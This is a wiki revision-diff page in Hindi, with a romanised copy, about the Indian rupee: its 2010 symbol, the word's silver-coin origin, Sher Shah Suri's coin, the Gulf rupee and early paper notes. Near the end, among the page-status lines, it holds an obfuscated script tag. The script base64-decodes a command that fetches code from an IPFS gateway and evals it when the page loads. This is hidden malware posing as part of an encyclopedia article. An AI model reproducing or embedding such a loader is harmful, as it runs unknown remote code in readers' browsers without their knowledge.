Difference between revisions of "भारतीय रुपया"

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[[चित्र:Indian-Rupee-Symbol.jpg|thumb|भारतीय रुपए का प्रतीक चिन्ह]]
 
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भारतीय रुपए का प्रतीक चिन्ह अंतरराष्ट्रीय स्तर पर आदान-प्रदान तथा आर्थिक संबलता को परिलक्षित कर रहा है। रुपए का चिन्ह [[भारत]] के लोकाचार का भी एक रूपक है। रुपए का यह नया प्रतीक [[देवनागरी लिपि]] के 'र' और [[रोमन लिपि]] के अक्षर 'आर' को मिला कर बना है, जिसमें एक क्षैतिज रेखा भी बनी हुई है। यह रेखा हमारे [[तिरंगा|राष्ट्रध्वज]] तथा बराबर के चिन्ह को प्रतिबिंबित करती है। भारत सरकार ने [[15 जुलाई]], [[2010]] को इस चिन्ह को स्वीकार कर लिया है।
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'''भारतीय रुपए''' का प्रतीक चिन्ह अंतरराष्ट्रीय स्तर पर आदान-प्रदान तथा आर्थिक संबलता को परिलक्षित कर रहा है। रुपए का चिन्ह [[भारत]] के लोकाचार का भी एक रूपक है। रुपए का यह नया प्रतीक [[देवनागरी लिपि]] के 'र' और [[रोमन लिपि]] के अक्षर 'आर' को मिला कर बना है, जिसमें एक क्षैतिज रेखा भी बनी हुई है। यह रेखा हमारे [[तिरंगा|राष्ट्रध्वज]] तथा बराबर के चिन्ह को प्रतिबिंबित करती है। भारत सरकार ने [[15 जुलाई]], [[2010]] को इस चिन्ह को स्वीकार कर लिया है।
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यह चिन्ह [[भारतीय प्रौद्योगिकी संस्थान]] (आईआईटी), [[मुम्बई]] के पोस्ट ग्रेजुएट डिजाइन श्री डी. उदय कुमार ने बनाया है। इस चिन्ह को वित्त मंत्रालय द्वारा आयोजित एक खुली प्रतियोगिता में प्राप्त हज़ारों डिजायनों में से चुना गया है। इस प्रतियोगिता में भारतीय नागरिकों से रुपए के नए चिन्ह के लिए डिजाइन आमंत्रित किए गए थे। इस चिन्ह को डिजीटल तकनीक तथा कम्प्यूटर प्रोग्राम में स्थापित करने की प्रक्रिया चल रही है।
 
यह चिन्ह [[भारतीय प्रौद्योगिकी संस्थान]] (आईआईटी), [[मुम्बई]] के पोस्ट ग्रेजुएट डिजाइन श्री डी. उदय कुमार ने बनाया है। इस चिन्ह को वित्त मंत्रालय द्वारा आयोजित एक खुली प्रतियोगिता में प्राप्त हज़ारों डिजायनों में से चुना गया है। इस प्रतियोगिता में भारतीय नागरिकों से रुपए के नए चिन्ह के लिए डिजाइन आमंत्रित किए गए थे। इस चिन्ह को डिजीटल तकनीक तथा कम्प्यूटर प्रोग्राम में स्थापित करने की प्रक्रिया चल रही है।
 
==रुपए का इतिहास==
 
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[[चित्र:Historic-Indian-Coins.jpg|thumb|ऐतिहासिक भारतीय सिक्के]]
 
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[[भारत]] विश्व कि उन प्रथम सभ्यताओ में से है जहाँ सिक्को का प्रचलन शुरू हुआ। लगभग 6वी [[सदी]] ईसा पूर्व में रुपए शब्द का अर्थ, शब्द रूपा से जोडा जा सकता है जिसका अर्थ होता है [[चाँदी]]। [[संस्कृत]] में रूप्यकम् का अर्थ है चाँदी का सिक्का।  
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[[भारत]] विश्व कि उन प्रथम सभ्यताओ में से है जहाँ सिक्को का प्रचलन शुरू हुआ। लगभग 6वी [[सदी]] ईसा पूर्व में रुपए शब्द का अर्थ, शब्द रूपा से जोडा जा सकता है जिसका अर्थ होता है [[चाँदी]]। [[संस्कृत]] में रूप्यकम् का अर्थ है चाँदी का सिक्का।
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रुपया शब्द सन 1540 - 1545 के बीच [[शेरशाह सूरी]] के द्वारा जारी किए गए चाँदी के सिक्को के लिए उपयोग में लाया गया। मूल रुपया चाँदी का सिक्का होता था, जिसका वजन 11.34 ग्राम था। यह सिक्का ब्रिटिश भारत के शासन काल में भी उपयोग में लाया जाता रहा।  
 
रुपया शब्द सन 1540 - 1545 के बीच [[शेरशाह सूरी]] के द्वारा जारी किए गए चाँदी के सिक्को के लिए उपयोग में लाया गया। मूल रुपया चाँदी का सिक्का होता था, जिसका वजन 11.34 ग्राम था। यह सिक्का ब्रिटिश भारत के शासन काल में भी उपयोग में लाया जाता रहा।  
बीसवीं सदी में फ़ारस की खाड़ी के देशों (खाड़ी देश) तथा अरब मुल्कों में भारतीय रुपया मुद्रा के तौर पर प्रचलित थी। सोने की तस्करी को रोकने तथा भारतीय मुद्रा के बाहर में प्रयोग को रोकने के लिए मई [[1959]] में [[भारतीय रिज़र्व बैंक]] ने ''गल्फ़ रुपी'' (खाड़ी रुपया) का विपणन किया। साठ के दशक में कुवैत तथा बहरीन ने अपनी स्वतंत्रता के बाद अपनी ख़ुद की मुद्रा प्रयोग में लानी शुरू की तथा [[1966]] में भारतीय रुपये में हुए अवमूल्यन से बचने के लिए क़तर ने भी अपनी मुद्रा शुरू कर दी ।<ref>{{cite web |url=http://www.chiefacoins.com/Database/Countries/Qatar.htm |title=Qatar |accessmonthday=9 सितम्बर |accessyear=2010 |last= |first= |authorlink= |format= |publisher= |language=[[अंग्रेज़ी भाषा|अंग्रेज़ी]] }}</ref>
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बीसवीं सदी में [[फ़ारस की खाड़ी]] के देशों<ref>खाड़ी देश</ref> तथा अरब मुल्कों में भारतीय रुपया मुद्रा के तौर पर प्रचलित थी। [[सोना|सोने]] की तस्करी को रोकने तथा भारतीय मुद्रा के बाहर में प्रयोग को रोकने के लिए मई [[1959]] में [[भारतीय रिज़र्व बैंक]] ने ''गल्फ़ रुपी''<ref>खाड़ी रुपया</ref> का विपणन किया। साठ के दशक में कुवैत तथा बहरीन ने अपनी स्वतंत्रता के बाद अपनी ख़ुद की मुद्रा प्रयोग में लानी शुरू की तथा [[1966]] में भारतीय रुपये में हुए अवमूल्यन से बचने के लिए क़तर ने भी अपनी मुद्रा शुरू कर दी ।<ref>{{cite web |url=http://www.chiefacoins.com/Database/Countries/Qatar.htm |title=Qatar |accessmonthday=9 सितम्बर |accessyear=2010 |last= |first= |authorlink= |format= |publisher= |language=[[अंग्रेज़ी भाषा|अंग्रेज़ी]] }}</ref>
 
==चाँदी का रुपया==
 
==चाँदी का रुपया==
ऐतिहासिक तौर पर रुपया चाँदी पर आधारित मुद्गा थी। 19वी शताब्दी में इसके विपरीत परिणाम हुए, जब [[यूरोप]] और [[अमेरिका]] में भारी पैमाने में चाँदी की खोज हुई। उस समय की मज़बूत अर्थव्यवस्थाएँ [[सोना|सोने]] पर आधारित थी। चाँदी की खोज से चाँदी और सोने के सापेक्षित मूल्यो में भारी अंतर आया। अचानक ही भारत की मुद्रा विश्व बाज़ार में उतना नहीं ख़रीद सकती थी जितना पहले। इसे "रुपए की गिरावट" के नाम से भी जाना जाता है। शुरुआत में एक रूपए को 16 आना, 64 पैसों या 192 पाई में बाँटा गया। यानी 1 आना 16 पैसों या 12 पाई में विभाजित था।  
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ऐतिहासिक तौर पर रुपया चाँदी पर आधारित मुद्गा थी। 19वी शताब्दी में इसके विपरीत परिणाम हुए, जब [[यूरोप]] और [[अमेरिका]] में भारी पैमाने में चाँदी की खोज हुई। उस समय की मज़बूत अर्थव्यवस्थाएँ सोने पर आधारित थी। चाँदी की खोज से चाँदी और सोने के सापेक्षित मूल्यो में भारी अंतर आया। अचानक ही भारत की मुद्रा विश्व बाज़ार में उतना नहीं ख़रीद सकती थी जितना पहले। इसे "'रुपए की गिरावट'" के नाम से भी जाना जाता है। शुरुआत में एक रूपए को 16 आना, 64 पैसों या 192 पाई में बाँटा गया। यानी 1 आना 16 पैसों या 12 पाई में विभाजित था।  
  
==[[काग़ज़]] के नोटो की शुरुआत==
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==काग़ज़ के नोटो की शुरुआत==
 
रुपयो के [[काग़ज़]] के नोटो को सबसे पहले जारी करने वालो में से थे बैंक ऑफ हिन्दुस्तान (1770-1832), द जनरल बैंक ऑफ बंगाल एंड बिहार (1773-75, वारेन हास्टिग्स द्वारा स्थापित) और द बंगाल बैंक (1784-91)।  
 
रुपयो के [[काग़ज़]] के नोटो को सबसे पहले जारी करने वालो में से थे बैंक ऑफ हिन्दुस्तान (1770-1832), द जनरल बैंक ऑफ बंगाल एंड बिहार (1773-75, वारेन हास्टिग्स द्वारा स्थापित) और द बंगाल बैंक (1784-91)।  
शुरुआत में बैंक ऑफ बंगाल द्वारा जारी किए गए [[काग़ज़]] के नोटो पे केवल एक तरफ ही छपा होता था। इसमे सोने की एक मोहर बनी थी और यह 100, 250, 500 आदि वर्गो में थे। बाद के नोट में एक बेलबूटा बना था जो एक महिला आकृति, व्यापार का मानवीकरण दर्शाता था। यह नोट दोनो ओर छपे होते थे, तीन लिपिओं [[उर्दू]], [[बंगाली भाषा|बंगाली]] और [[देवनागरी लिपि|देवनागरी]] में यह छपे होते थे, जिसमे पीछे की तरफ बैंक की छाप होती थी। 1800 सदी के अंत तक नोटों के मूलभाव ब्रितानी हो गए और जाली बनने से रोकने के लिए उनमे अन्य कई लक्षण जोडे गए।
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शुरुआत में बैंक ऑफ बंगाल द्वारा जारी किए गए काग़ज़ के नोटो पे केवल एक तरफ ही छपा होता था। इसमे सोने की एक मोहर बनी थी और यह 100, 250, 500 आदि वर्गो में थे। बाद के नोट में एक बेलबूटा बना था जो एक महिला आकृति, व्यापार का मानवीकरण दर्शाता था। यह नोट दोनो ओर छपे होते थे, तीन लिपिओं [[उर्दू]], [[बंगाली भाषा|बंगाली]] और [[देवनागरी लिपि|देवनागरी]] में यह छपे होते थे, जिसमे पीछे की तरफ बैंक की छाप होती थी। 1800 सदी के अंत तक नोटों के मूलभाव ब्रितानी हो गए और जाली बनने से रोकने के लिए उनमे अन्य कई लक्षण जोडे गए।
 
==वीथिका==
 
==वीथिका==
 
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चित्र:Indian-Rupee-2.jpg|भारतीय दो रुपये का नोट
 
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Revision as of 11:05, 10 October 2011

thumb|bharatiy rupe ka pratik chinh bharatiy rupe ka pratik chinh aantararashtriy star par adan-pradan tatha arthik sanbalata ko parilakshit kar raha hai. rupe ka chinh bharat ke lokachar ka bhi ek roopak hai. rupe ka yah naya pratik devanagari lipi ke 'r' aur roman lipi ke akshar 'ar' ko mila kar bana hai, jisamean ek kshaitij rekha bhi bani huee hai. yah rekha hamare rashtradhvaj tatha barabar ke chinh ko pratibianbit karati hai. bharat sarakar ne 15 julaee, 2010 ko is chinh ko svikar kar liya hai.

yah chinh bharatiy praudyogiki sansthan (aeeaeeti), mumbee ke post grejuet dijain shri di. uday kumar ne banaya hai. is chinh ko vitt mantralay dvara ayojit ek khuli pratiyogita mean prapt hazaroan dijayanoan mean se chuna gaya hai. is pratiyogita mean bharatiy nagarikoan se rupe ke ne chinh ke lie dijain amantrit kie ge the. is chinh ko dijital takanik tatha kampyootar program mean sthapit karane ki prakriya chal rahi hai.

rupe ka itihas

thumb|bharatiy ek rupaye ka sikka (1862)thumb|bharatiy adha ana ka sikka (1945)thumb|aitihasik bharatiy sikke

bharat vishv ki un pratham sabhyatao mean se hai jahaan sikko ka prachalan shuroo hua. lagabhag 6vi sadi eesa poorv mean rupe shabd ka arth, shabd roopa se joda ja sakata hai jisaka arth hota hai chaandi. sanskrit mean roopyakamh ka arth hai chaandi ka sikka.

rupaya shabd san 1540 - 1545 ke bich sherashah soori ke dvara jari kie ge chaandi ke sikko ke lie upayog mean laya gaya. mool rupaya chaandi ka sikka hota tha, jisaka vajan 11.34 gram tha. yah sikka british bharat ke shasan kal mean bhi upayog mean laya jata raha.

bisavian sadi mean faras ki kha di ke deshoan[1] tatha arab mulkoan mean bharatiy rupaya mudra ke taur par prachalit thi. sone ki taskari ko rokane tatha bharatiy mudra ke bahar mean prayog ko rokane ke lie mee 1959 mean bharatiy rizarv baiank ne galf rupi[2] ka vipanan kiya. sath ke dashak mean kuvait tatha baharin ne apani svatantrata ke bad apani khud ki mudra prayog mean lani shuroo ki tatha 1966 mean bharatiy rupaye mean hue avamoolyan se bachane ke lie qatar ne bhi apani mudra shuroo kar di .[3]

chaandi ka rupaya

aitihasik taur par rupaya chaandi par adharit mudga thi. 19vi shatabdi mean isake viparit parinam hue, jab yoorop aur amerika mean bhari paimane mean chaandi ki khoj huee. us samay ki mazaboot arthavyavasthaean sone par adharit thi. chaandi ki khoj se chaandi aur sone ke sapekshit moolyo mean bhari aantar aya. achanak hi bharat ki mudra vishv bazar mean utana nahian kharid sakati thi jitana pahale. ise "'rupe ki giravat'" ke nam se bhi jana jata hai. shuruat mean ek roope ko 16 ana, 64 paisoan ya 192 paee mean baanta gaya. yani 1 ana 16 paisoan ya 12 paee mean vibhajit tha.

kagaz ke noto ki shuruat

rupayo ke kagaz ke noto ko sabase pahale jari karane valo mean se the baiank aauph hindustan (1770-1832), d janaral baiank aauph bangal eand bihar (1773-75, varen hastigs dvara sthapit) aur d bangal baiank (1784-91).

shuruat mean baiank aauph bangal dvara jari kie ge kagaz ke noto pe keval ek taraph hi chhapa hota tha. isame sone ki ek mohar bani thi aur yah 100, 250, 500 adi vargo mean the. bad ke not mean ek belaboota bana tha jo ek mahila akriti, vyapar ka manavikaran darshata tha. yah not dono or chhape hote the, tin lipioan urdoo, bangali aur devanagari mean yah chhape hote the, jisame pichhe ki taraph baiank ki chhap hoti thi. 1800 sadi ke aant tak notoan ke moolabhav britani ho ge aur jali banane se rokane ke lie uname any kee lakshan jode ge.

vithika


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


tika tippani aur sandarbh

  1. kha di desh
  2. kha di rupaya
  3. Qatar (aangrezi). . abhigaman tithi: 9 sitambar, 2010.

bahari k diyaan

sanbandhit lekh

  1. REDIRECT saancha:rashtriy chihn aur pratik